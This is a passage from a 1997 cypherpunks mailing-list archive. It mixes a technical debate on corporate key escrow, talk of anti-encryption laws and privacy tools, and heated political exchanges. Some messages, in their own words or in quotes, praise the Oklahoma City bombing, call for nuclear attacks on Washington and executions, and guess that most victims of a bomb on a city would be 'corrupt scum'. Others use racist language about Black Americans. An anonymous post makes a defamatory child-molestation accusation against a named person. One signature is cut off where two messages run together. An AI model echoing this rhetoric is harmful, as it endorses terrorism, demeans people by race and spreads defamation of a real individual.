think otherwise. And we're seeing an accelerating pace of lawmaking, as
laws are being generated by the 50 states, the various municipalities, and,
of course, the Feds. Even the lawmakers can't explain what their laws will
mean, or who will be prosecuted, or how many new prisons will have to be
built to handle the new felons.

This is the "race to the fork in the road" I have long talked about. The
future will be pulled between two attractors, with essentially no middle
ground (just as there is no middle ground in cryptographic security, like
pregnancy). At one side lies a surveillance state, with citizen-units using
approved crypto with approved government backdoors, escrow of diaries, and
random searches under flimsy pretexts. At the other side lies crypto
anarchy, with free men and women arranging the economic and social
transactions they wish, using unbreakable crypto to communicate across
nominal national borders and without only disdain for local attempts to
control such communications.

Many of us believe crypto anarchy will win out, and governments will be
undermined in various ways (including forcibly, using the new degrees of
freedom to deploy destructive technologies...hence my "avoid soft targets"
line).

The bureacrats believe more and more repressive laws will control
troublemakers.

Who will actually win?

I think we will. They think they will. The war is underway.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From paul at fatmans.demon.co.uk  Sat May 10 11:09:43 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 11 May 1997 02:09:43 +0800
Subject: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: 




> At 09:26 PM 5/9/97 -0800, Tim May wrote:
> 
> >Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> ......................................................
> 
> 
> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> spend so much time writing sensible things of Truth & Light, if he thought
> the better thing to do for achieving libertarian values was to kill so
> indiscriminately with a bomb.    After all, he subscribes to utmost
> discrimination.   So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

I have to say I agree, I believe that violence is probably the only way 
to proceed in order to defend ourselves against the criminals within 
modern societies, however, I seperate this entirely from the action of 
killing indiscriminately.

I have to say also that I believe that if one were to drop a fairly large 
bomb on a major US city, say LA or NYC, the probable outcome would be 
that 99% of the people killed would be corrupt scum anyway, in DC I would 
imagine the figure would be approching 100%, however, this does not 
absolve one from blame if, through some freak outcome, a small bomb of, 
say, the Timothy McVeigh style happens to kill an innocent person, one is 
still guilty of murder. Part of the reason I despise government so 
greatly is because the poloticians justify their actions by reference to 
"the greater good", ie. "If a few thousand innocent conscripted members of 
the army get killed defending our society so be it."

In the end, it also comes down to what action you believe is justifiable 
in the name of freedom, ie. When I say I believe 99% of people in sat NYC 
are corrupt scum this is true, but to varying degrees, I would personally 
say, as an estimate, only 3 to 5% of these people should be executed 
for their crimes, the others are either corrupt morally on a small level, 
or are just naive, eg. I believe people who vote in democratic elections 
commit a crime against me by being part of the process which brings about 
authoritarian government, even if they vote for a party that proposed to 
rule according to libertarian values they still perpetuate a system where 
the majority control the actions of the minority, however, I would not kill 
these people, I believe they are simply ill educated and unable to comprehend 
the wrong they do me.

The bottom line is, I disagree with what Tim said but I do sympathise 
with the reasons why he said it.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From nobody at REPLAY.COM  Sat May 10 11:14:21 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 11 May 1997 02:14:21 +0800
Subject: Certified primes
Message-ID: <199705101759.TAA01604@basement.replay.com>


Given Timothy May's propensity to molest little children, is it any 
surprise that the state of California wants to have him castrated?

       /\ o-/\  Timothy May
      ///\|/\\\
     /   /|\   \






From aba at dcs.ex.ac.uk  Sat May 10 11:33:58 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 11 May 1997 02:33:58 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <199705101819.TAA01030@server.test.net>



Kent Crispin  writes:
> > At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> > >I was saying that if Sam needs to read my encrypted file/mail, then
> > >I should list Sam as a crypto-recipient.  If Acme,Inc. needs to read
> > >my encrypted file/mail, then I should list Acme,Inc. as a
> > >crypto-recipient.
> > >
> > >There's no safe of keys.  It's even simpler to explain to an executive.
> 
> Unfortunately, it doesn't solve the problem at all.  In fact it
> doesn't even address the problem.  So much so that reading these
> replies makes me think that I am looking at different problem than
> you. 

It seems to me that it is you Kent who is scrambling to find plausible
reasons why key escrow is the best or only technology to use in
corporate email systems.

> [long analogy to physical locks and keys on company premises]
>
> With this background, perhaps now you can see why I say that Carl's 
> solution doesn't even address the problem.  The problem is management 
> of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> What part of the organization that is Acme Corp is authorized to know 
> this particular bit of information?  Because some of the employees 
> are idiots you want this built automatically into the application 
> they are using for encryption/email/whatever.  How does this software 
> know what policy is appropriate for which employee?  How is that 
> policy distributed?  What is the interface that allows a policy to be 
> defined?   How do you protect the policy definition from subversion?

Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
saying on cryptography at c2, that key escrow has complexity problems,
contrary to what you have previously been arguing :-)

> Contrast that with a key-safe model, where a copy of every encryption
> key is kept in a secure database.  The encryption client software only
> talks to the key-safe when a new key is generated, over a
> cryptographically secure channel, of course.  There is no policy the
> client has to know.  The user encrypts freely without concern about
> who else should get copies.  The organization knows that there is very
> little chance of data loss because of lost keys, and can use any
> policy it chooses to recover keys, from the company president's ad hoc
> whim to a carefully specified organization al security policy. 
> 
> Access to the key-safe is critical, of course, but it can be made 
> very secure -- a special-purpose piece of hardware that requires 
> passwords from n out of m key czars before access is granted, for 
> example.  Or the contents of the key safe can be encrypted via keys 
> escrowed through a secret sharing mechanism

I don't see the difference.  With the encrypt to multiple recipients
approach where the second crypto-recipient is the company key you can
store the private half of the corporate key using the same techniques
you discussed above.

Access to the data requires access to the master key in both cases.

You fix the second crypto-recipient in the MUA if you wish to.  The
fire-wall can reject posts without the second crypto-recipient.  You
can use binding cryptography to ensure the fire-wall can tell that it
is an encrypted copy of the same document without the firewall needing
access to the master key.  You can't do this company has all keys in
the safe model, without givin the firewall automatic access to the
safe, which is a huge security risk.

So, I suppose you would argue that oh no, the user can by pass this
feature of the MUA, they can use a different MUA, or telnet to the
SMTP port manually.

Well, you know, people can bypass keys which are stored in the company
safe also: don't use them!

They can also walk out of the building with a floppy, store info in
their heads, or use any number of subliminal channels that abound in
crypto and internet protocols.

The advantage of the multiple recipient model is that doesn't commit
the cardinal sin/design flaw of sharing private crypto keys.

Some people have argued that multiple recipient is less suited to GAK,
and therefore it would be better to use multiple recipient, I'm not
sure that it makes that much difference.  If we get forced to put the
government as the second crypto-recipient recipient, the government
still gets to read all your mail.

The main argument against company generates all keys, company holds
all keys, to me is that it's bad crypto design.

The `it's easier to explain a safe full of all employee keys' to
management argument is nonsense also.  It's a master key either way
and just as easy to explain either way: a master key is a key that
lets you decrypt all mail.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <19970510112145.45912@bywater.songbird.com>


On Sat, May 10, 1997 at 10:25:07AM -0500, William H. Geiger III wrote:
>
>>Everybody everywhere is somehow affiliated with the gubmint, including you
>>and Tim May.
>
>That may be so but I doubt anyone on the list enjoys such affiliations more
the you Kent. :(

William, your precious "individuality" is a tiny wart in the vast
echoing emptiness of your mind.  That wart sits in shuddering awe of
its trivial non-descript self because it is blind to the beauty of the
rest of its own being. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Sat May 10 11:53:26 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 11 May 1997 02:53:26 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: <19970510114205.14088@bywater.songbird.com>


On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
> 
> (Don't forget that during the L.A. riots it was the Koreans who prominently
> were defending themselves and their property with so-called "assault
> weapons" against the coloreds. The main justice that came out of those
> riots was that 30 square blocks of inner L.A. remain burned out and
> unrebuilt, leaving those who rioted and looted with no local stores to shop
> in. And the Koreans are even vastly better armed than before.)

I wonder what would be the "main justice" to result from the 
cypherpunks riots you are advocating?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Sat May 10 12:38:06 1997
From: tcmay at got.net (Tim May)
Date: Sun, 11 May 1997 03:38:06 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: 


At 10:42 AM -0800 5/10/97, Kent Crispin wrote:
>On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
>>
>> (Don't forget that during the L.A. riots it was the Koreans who prominently
>> were defending themselves and their property with so-called "assault
>> weapons" against the coloreds. The main justice that came out of those
>> riots was that 30 square blocks of inner L.A. remain burned out and
>> unrebuilt, leaving those who rioted and looted with no local stores to shop
>> in. And the Koreans are even vastly better armed than before.)
>
>I wonder what would be the "main justice" to result from the
>cypherpunks riots you are advocating?
>

And just what "cypherpunks riots" would those be? I don't advocate that
white rise up and burn down their neighborhoods--Palo Alto, Brentwood, Boca
Raton, etc.--as some other groups have repeatedly done (South Central LA,
Liberty City, Asbury Park, etc.).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Sat May 10 12:42:23 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 11 May 1997 03:42:23 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <19970510122931.54997@bywater.songbird.com>


On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> 
> Kent Crispin  writes:
> > > At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> > > >I was saying that if Sam needs to read my encrypted file/mail, then
> > > >I should list Sam as a crypto-recipient.  If Acme,Inc. needs to read
> > > >my encrypted file/mail, then I should list Acme,Inc. as a
> > > >crypto-recipient.
> > > >
> > > >There's no safe of keys.  It's even simpler to explain to an executive.
> > 
> > Unfortunately, it doesn't solve the problem at all.  In fact it
> > doesn't even address the problem.  So much so that reading these
> > replies makes me think that I am looking at different problem than
> > you. 
> 
> It seems to me that it is you Kent who is scrambling to find plausible
> reasons why key escrow is the best or only technology to use in
> corporate email systems.

Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
to implement Carl's model, it would already have happened, given the 
dislike of key-escrow in the cryptographic community.  But, when 
examined in detail, in light of real requirements from organizations, 
it is not easy at all.

I'm not "scrambling", Adam.  If there is anything you need to
understand here, it is that I am *not* in favor of GAK.  Chisel that
in stone and think about it a bit -- your misunderstanding of my
motives causes you to gloss over my arguments and not think about
them.  I am sympathetic to your concerns, and I am trying to explain
something I truly think people are missing.  Think of me as 
intelligent, Adam, and I will do the same for you.

> > [long analogy to physical locks and keys on company premises]
> >
> > With this background, perhaps now you can see why I say that Carl's 
> > solution doesn't even address the problem.  The problem is management 
> > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> > What part of the organization that is Acme Corp is authorized to know 
> > this particular bit of information?  Because some of the employees 
> > are idiots you want this built automatically into the application 
> > they are using for encryption/email/whatever.  How does this software 
> > know what policy is appropriate for which employee?  How is that 
> > policy distributed?  What is the interface that allows a policy to be 
> > defined?   How do you protect the policy definition from subversion?
> 
> Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
> saying on cryptography at c2, that key escrow has complexity problems,
> contrary to what you have previously been arguing :-)

You completely missed the point of the above paragraph -- all those
questions apply to the "encrypt to policy-specified local recipients"
model, and *don't* apply to the key-safe model.  The key-safe model 
has no significant policy issues that need to be embedded in 
software -- the only policy is "when data encryption keys are 
generated a copy is sent to the key-safe (using an encrypted channel, 
of course)."

> > Contrast that with a key-safe model, where a copy of every encryption
> > key is kept in a secure database.  The encryption client software only
> > talks to the key-safe when a new key is generated, over a
> > cryptographically secure channel, of course.  There is no policy the
> > client has to know.  The user encrypts freely without concern about
> > who else should get copies.  The organization knows that there is very
> > little chance of data loss because of lost keys, and can use any
> > policy it chooses to recover keys, from the company president's ad hoc
> > whim to a carefully specified organization al security policy. 
> > 
> > Access to the key-safe is critical, of course, but it can be made 
> > very secure -- a special-purpose piece of hardware that requires 
> > passwords from n out of m key czars before access is granted, for 
> > example.  Or the contents of the key safe can be encrypted via keys 
> > escrowed through a secret sharing mechanism
> 
> I don't see the difference.  With the encrypt to multiple recipients
> approach where the second crypto-recipient is the company key you can
> store the private half of the corporate key using the same techniques
> you discussed above.
> 
> Access to the data requires access to the master key in both cases.

It follows, therefore, that if the master key is compromised in both
systems, all data is compromised.  From that perspective, the systems
are equally secure. 

> You fix the second crypto-recipient in the MUA if you wish to.

This is precisely the point I was alluding to in the policy discussion
above.  In an organizational content, *of course* you will put all the
complexity in the MUA.  The question is, how do you change the 
"master key" indicator that is in each MUA?  Suppose that the 
organization wants different keys for different departments -- how do 
you keep track of which master key goes where?  How do all those 
MUA's get their key policy module updated?

>  The
> fire-wall can reject posts without the second crypto-recipient.

How does the key policy module in the firewall get updated?

>  You
> can use binding cryptography to ensure the fire-wall can tell that it
> is an encrypted copy of the same document without the firewall needing
> access to the master key.  You can't do this company has all keys in
> the safe model, without givin the firewall automatic access to the
> safe, which is a huge security risk.

???
With the key-safe model the firewall never enters into the picture.

> So, I suppose you would argue that oh no, the user can by pass this
> feature of the MUA, they can use a different MUA, or telnet to the
> SMTP port manually.

No, I wouldn't argue that -- I know perfectly well that that neither 
model does any good at all against a determined, competent insider.

[...]

> The advantage of the multiple recipient model is that doesn't commit
> the cardinal sin/design flaw of sharing private crypto keys.

Two things:  First, any crypto system that doesn't deal with 
protection/recovery/secure-use of private keys is incomplete.

Second, keep in mind that we are talking about encryption for an
*organization's* purposes.  The whole meaning of "private" is altered
in that context. 

> Some people have argued that multiple recipient is less suited to GAK,
> and therefore it would be better to use multiple recipient, I'm not
> sure that it makes that much difference.  If we get forced to put the
> government as the second crypto-recipient recipient, the government
> still gets to read all your mail.
> 
> The main argument against company generates all keys, company holds
> all keys, to me is that it's bad crypto design.

You say "tumato"...

> The `it's easier to explain a safe full of all employee keys' to
> management argument is nonsense also.  It's a master key either way
> and just as easy to explain either way: a master key is a key that
> lets you decrypt all mail.

At that level of generality both these systems are identical, and 
equally easy to explain.  It's when you get down to the details that 
things become more interesting.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From blancw at cnw.com  Sat May 10 13:52:48 1997
From: blancw at cnw.com (Blanc)
Date: Sun, 11 May 1997 04:52:48 +0800
Subject: The War is Underway
Message-ID: <3.0.32.19970510133901.006d755c@cnw.com>


Tim May wrote:

>However, while we may think their power is gone, or is almost gone, they
>think otherwise. And we're seeing an accelerating pace of lawmaking, as
>laws are being generated by the 50 states, the various municipalities, and,
>of course, the Feds. Even the lawmakers can't explain what their laws will
>mean, or who will be prosecuted, or how many new prisons will have to be
>built to handle the new felons.
..........................................................


It's a terrible thing, a terrible course of events.   But consider that
they are but the tip of the iceberg; what fuels them is all those
supportive constituents in their voting districts.   What do you recommend
be done to *them*?

    ..
Blanc
    ..
Blanc






From blancw at cnw.com  Sat May 10 13:55:57 1997
From: blancw at cnw.com (Blanc)
Date: Sun, 11 May 1997 04:55:57 +0800
Subject: Wine Politics Again!
Message-ID: <3.0.32.19970510134242.006c46d4@cnw.com>


Tim May wrote:

>Give me a break. The "he must be drunk" argument is the cheapest shot, no
>pun intended, in the book.
>
>(And, please, knock of the use of "Timothy" is a post where one disagrees.
>If "Tim" is fine for most responses, why the sudden formal "Timothy"?
>Another rhetorical device.)
.........................................................


I was being facetious, Timmy.

    ..
Blanc
(I'd say more, but right now I have to go watch "The 5th Element".)
    ..
Blanc






From blancw at cnw.com  Sat May 10 13:57:40 1997
From: blancw at cnw.com (Blanc)
Date: Sun, 11 May 1997 04:57:40 +0800
Subject: Wine Politics Again!
Message-ID: <3.0.32.19970510133401.006ce484@cnw.com>


>From frissell at panix.com:

>At 12:35 AM 5/10/97 -0700, Blanc wrote:

>>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>>spend so much time writing sensible things of Truth & Light, if he thought
>>the better thing to do for achieving libertarian values was to kill so
>>indiscriminately with a bomb.    After all, he subscribes to utmost
>>discrimination.   So I think right now he's less in the engagement of
>>Reason and more under the influence of maybe some Bud Light.
>
>He didn't say it was a better thing to do.  He said he was coming to
understand McVeigh's actions.
.................................................................


He didn't explicity say it was the better thing to do.    But when there is
a decision to be made about a course of action to take, and there are
choices available and you select one over another,  you have evidenced
which one you think is the better.

>Tim is helping (in his way) to convince others of the facts of the matter.
 Dramatic statements carry the message better.

Lately Tim has been making extremely dramatic death statements:   "Kill
them all...they are unworthy of life.", "... I
pray for the deaths of these criminals.",  "Washington is a cancer than can
only be cured with a few megatons of
nuclear disinfectant.", "May they all be vaporized.", etc.  

These are definitely dark in mood and understandable; I also have violently
negative & despairing emotions about these people.   I just wouldn't ever
think of involving those who are innocent bystanders and happened to be in
the wrong place at the wrong time.

This is the same kind of flaw which collectivists make when they set up
groups, governments, any kind of organization: they take a broad sweep of
the population, without being particular about any exceptions to their
rules or their plans.

It has always been the defining element in what is different about the U.S.
from other countries, that individuals receive more attention and
recognition as single entities, with their own defining characteristics,
than anywhere else in the world.   We are more free to descriminate, to
think of people as responsible for their own actions and as deserving of
just consequences for them.   It muddies this concept, to lump a large
aggregate of people into one and treat them all as being the same entity;
it takes the mind from being able to think in terms of specifics, into
thinking instead in broad considerations which overlook the particulars. 

Technology delivers to the single person the possibility of efficacy on
their level, as compared to having to wait for some overseeing body of
authorities to deliver solutions from their stock of tools & means.
Technology also makes it possible to be even more precise about cause &
effect - so that the tools one uses can be of benefit only to the user
without affecting anyone else who is not interested in participating, or in
being affected by, what anyone else may be doing.

I know that critical times call for critical action, but I just don't
expect from anarchist libertarian cypherpunks that they would "throw
caution to the wind" (so to speak) and forget how to think about events and
actions in terms of specifics and utter precision.   

    ..
Blanc
    ..
Blanc






From kent at songbird.com  Sat May 10 14:09:25 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 11 May 1997 05:09:25 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: <19970510135714.39308@bywater.songbird.com>


On Sat, May 10, 1997 at 12:20:51PM -0800, Tim May wrote:
> At 10:42 AM -0800 5/10/97, Kent Crispin wrote:
> >On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
> >>
> >> (Don't forget that during the L.A. riots it was the Koreans who prominently
> >> were defending themselves and their property with so-called "assault
> >> weapons" against the coloreds. The main justice that came out of those
> >> riots was that 30 square blocks of inner L.A. remain burned out and
> >> unrebuilt, leaving those who rioted and looted with no local stores to shop
> >> in. And the Koreans are even vastly better armed than before.)
> >
> >I wonder what would be the "main justice" to result from the
> >cypherpunks riots you are advocating?
> >
> 
> And just what "cypherpunks riots" would those be? I don't advocate that
> white rise up and burn down their neighborhoods--Palo Alto, Brentwood, Boca
> Raton, etc.--as some other groups have repeatedly done (South Central LA,
> Liberty City, Asbury Park, etc.).

Just a reference to your more than usually histrionic posts of recent 
days.  Some quotes:

"May they all be vaporized."

"Chiles and his co-conspirators should be shot for high crimes against the
Constitution. After Clinton, Freeh, Kerrey, and the other traitors."

"Every day that passes, I'm more convinced that McVeigh did the right thing.
Some innocents died, but, hey, war is hell. Broken eggs and all that."

"Many of us believe crypto anarchy will win out, and governments will be
undermined in various ways (including forcibly, using the new degrees of
freedom to deploy destructive technologies...hence my "avoid soft targets"
line)."

I'm sure someone who was more alert than I am could find many similar 
examples. 

I would expect a "cypherpunk riot" to be a little more aimed at 
cyberspace than real-world suburban neighborhoods.  Wouldn't you?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From aba at dcs.ex.ac.uk  Sat May 10 14:25:38 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 11 May 1997 05:25:38 +0800
Subject: The War is Underway
In-Reply-To: 
Message-ID: <199705101907.UAA01415@server.test.net>



Tim May  writes:
> However, while we may think their power is gone, or is almost gone, they
> think otherwise. And we're seeing an accelerating pace of lawmaking, [...]
> 
> This is the "race to the fork in the road" I have long talked
> about. The future will be pulled between two attractors, with
> essentially no middle ground (just as there is no middle ground in
> cryptographic security, like pregnancy). At one side lies a
> surveillance state, [...] At the other side lies crypto anarchy,
> [...]
>
> The bureacrats believe more and more repressive laws will control
> troublemakers.
> 
> Who will actually win?
> 
> I think we will. They think they will. The war is underway.

So what are we doing to fight our side?  (Apart from fantasizing
about nuking the bastards till they glow :-)

They seem to be able to keep many people busy just reacting to the
stupid laws and proposed laws.  They can propose laws pretty fast
whilst on their all expenses paid (by us) corrupt political games.
Whoring to corporate and intelligence special interests, and power
grabbing for job security as the malignant growth that is government
heads towards > 50% body mass.

So their tactic seems to be to bring out laws at an accelerating rate.
And to send the crypto facist Aaron around bullying other countries.
If some of these laws actually pass, we're in deep shit.  They're
actually talking about restricting imports, making it a crime to use
crypto, mandatory key escrow (US, Clipper XXIII, I've lost count),
licenses for encryption services (UK, TTPs).  Somehow I don't think
SAFE will pass (either with or without the crypto crime clause), if
anything does get passed it will be so perverted as to be hugely
negative for our purposes.  Maybe some of the draconian stuff is not
expected to stand a chance of passing and is just there for bargaining
purposes.  Regardless, we can't expect any favours from laws, or
politicians.

So what can cypherpunks do?

Write code?

Perhaps it's time for some stego interfaces to remailers.

Usually around this time Black Unicorn gives us his wish list of
crypto anarchy apps.  I'm not sure we've progressed much towards his
wish list since the last time he posted it.

I thought the Eternity Service I announced a week or so ago was a step
towards reducing the possibility for government censorship of web pages.
(http://www.dcs.ex.ac.uk/~aba/eternity/) Not much interest to date.
Ideas stand on their merit, but the success of crypto anarchy services
also depends on ease of use, funding, volunteer effort, publicity, and
evangelizing.  I haven't done much of the latter yet lacking an
example server to bootstrap the system, I hope to have this up in a
few weeks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705102146.QAA17224@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III"  writes:
> > I wouldn't be suprised if your analysis was correct. The orientals seem to
> > be quite hated by the inter city blacks as they are a constant reminder
> > that minorities can thrive and prosper in America (the only color that
> > really matters here is green dispite what some would have you think).
> 
> I would generalize this statement: the vast majority of U.S. blacks
> (whether the inner city parasites or the parasites employed by the
> federal/state/local gubmints) extremely hate all successful immigrants,
> whether orientals or Russian Jews. So do many non-black Americans.

also, many sovok immigrants hate blacks

	- Igor.






From gbroiles at netbox.com  Sat May 10 15:34:07 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sun, 11 May 1997 06:34:07 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: <3.0.1.32.19970510153158.0285878c@pop.sirius.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 01:57 PM 5/10/97 -0700, Kent Crispin wrote:

>I would expect a "cypherpunk riot" to be a little more aimed at 
>cyberspace than real-world suburban neighborhoods.  Wouldn't you?

Several points come to mind:

Tim hasn't suggested that a riot would be useful or likely. He's mentioned
various forms of political violence (e.g., assassination and terrorism) but
he hasn't mentioned riots. They're not the same thing.

Riots aren't necessarily violent, nor are they necessarily or often useful to
their participants .. in fact, they may be counterproductive to the aim(s) of
their participants, except where they give the participants an opportunity to
take symbolic or emotionally satisfying action .. which usually provides very
little long-term change. But they may be useful to the riots' "opponents",
who may also be their instigators. 

I think you've been sucked into conflating "cypherpunk" with "cyberpunk",
e.g., people who define themselves socially by their (positive) relationship
to technology. A cyberpunk riot would probably take place in "cyberspace",
and would probably include messages from corporate sponsors, clean and
orderly virtual streets, and attractively drawn avatars. A cypherpunk is
defined socially/politically by a (negative) relationship to existing
political structures. The Internet *is* a cypherpunk riot.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM3T3OP37pMWUJFlhAQFRPQf/W+O4gZFmfceU+6kXVki/UXsQAh05YQZy
xv8dmlgjtSFUqyTyzyr9KbZe5RvOdx7OI+F7lZlT1ze9DXzBSRZH1Daf4lf7Cabc
O8UNsEEz/uk1KB1mL/8W8NApHIBIYf7rU/ZVR34sQfUHXCSQ2UU7SjqVKMU+wmhf
dG4AgI0FddN/Px8jJRzPfiyp0aWWe1+kF9rrI3b7lU5V0ruG0oO5sldnALW1yXTo
ZRxWyBIBnlttrQaDLbWQRh0qqVNXkNi08AuVTTX78v80W44vdBKBqdUIrDlDpaew
L+O6o/riY9AjdWM2uY9tuEMHKIX5vASJEL+6dCWMH4EkOz2rBux3LA==
=UUDT
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 






From unicorn at schloss.li  Sat May 10 15:39:09 1997
From: unicorn at schloss.li (Black Unicorn)
Date: Sun, 11 May 1997 06:39:09 +0800
Subject: The War is Underway (fwd)
Message-ID: 



On Sat, 10 May 1997, Adam Back wrote:

> 
> Tim May  writes:
> > However, while we may think their power is gone, or is almost gone, they
> > think otherwise. And we're seeing an accelerating pace of lawmaking, [...]

[The fork in the road is discussed]

> > Who will actually win?
> > 
> > I think we will. They think they will. The war is underway.
> 
> So what are we doing to fight our side?  (Apart from fantasizing
> about nuking the bastards till they glow :-)
>
> So what can cypherpunks do?
> 
> Write code?

Yes.  One of the major stumbling blocks I have run into is a lack of code
which really is refined and reviewed enough to serve the purposes I need
it to serve.  FC97 did a lot to make some more obscure things obvious, and
familiarize the players with each other, but the details are often hard to
come by.  Many of the applications out there are painfully behind in
interface areas forcing developers to use complicated "toolkits" which
often lack the basics we need. Finding an analogy to easily explain even
the basics to a customer is very difficult unless the front end jibes with
the attempt.

The amount of confusion over what represents a good algorithm is also
interesting.  Take CAST, which seems a promising cipher and which we
considered using over IDEA.

On asking 4 "experts" about CAST, I got 4 answers.

1>  A 64 bit cipher with 40 bits secret.
2>  A 64 bit cipher - not expected to be very complete.
3>  A 128 bit cipher.
4>  "Not worth discussing."

In fact, as I understand it, CAST is of variable key length (Up to 128
bits), and quite resistant to many attacks which plague DES and even IDEA.

But digging out that information was painfully difficult.  (It may not
even be correct).

> Perhaps it's time for some stego interfaces to remailers.
> 
> Usually around this time Black Unicorn gives us his wish list of
> crypto anarchy apps.  I'm not sure we've progressed much towards his
> wish list since the last time he posted it.

Most of what concerns me is the need to keep keylengths "obscenely large"
because what is obscene today may not be so obscene after 5 years of
chilled crypto development.

Given the success (or lack thereof) of my call to arms before, I'm not
sure I'll be anxious to repeat it soon.  (The largest keylength of any
widely used cipher of which I am aware remains at 128.  There still is no
effective PipeNet, no real mainstream "stealth crypto."  No significant
work on detering traffic analysis or denial of service with the exception
of the below).

> I thought the Eternity Service I announced a week or so ago was a step
> towards reducing the possibility for government censorship of web pages.
> (http://www.dcs.ex.ac.uk/~aba/eternity/) Not much interest to date.
> Ideas stand on their merit, but the success of crypto anarchy services
> also depends on ease of use, funding, volunteer effort, publicity, and
> evangelizing.  I haven't done much of the latter yet lacking an
> example server to bootstrap the system, I hope to have this up in a
> few weeks.

Hearty kudos.

An online bank is useless if it can be blocked by a few keystrokes.

(But that's what secure INMARSAT phones are for too)

Still, these are areas that I wish c'punks would start looking at again.
Even if strong unforfeited crypto is legal in the U.S., it will not be in
other countries for quite some time.

There is strength in numbers, not just safety.  The more crypto users
there are, the less government, or anyone else, can do about it.

C'punks should wish to provide clandestine crypto services for the entire
population.  Laws which may or may not pass in the United States should
bore c'punks, because they should realize that legislation is irrelevent
because the genie is already out of the bottle.  Unfortunately, I don't
think the genie is all the way out of the bottle.


NOTE:  I'm not on cypherpunks anymore, mail me directly for replies.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.







From kent at songbird.com  Sat May 10 16:26:29 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 11 May 1997 07:26:29 +0800
Subject: The War is Underway (fwd)
In-Reply-To: 
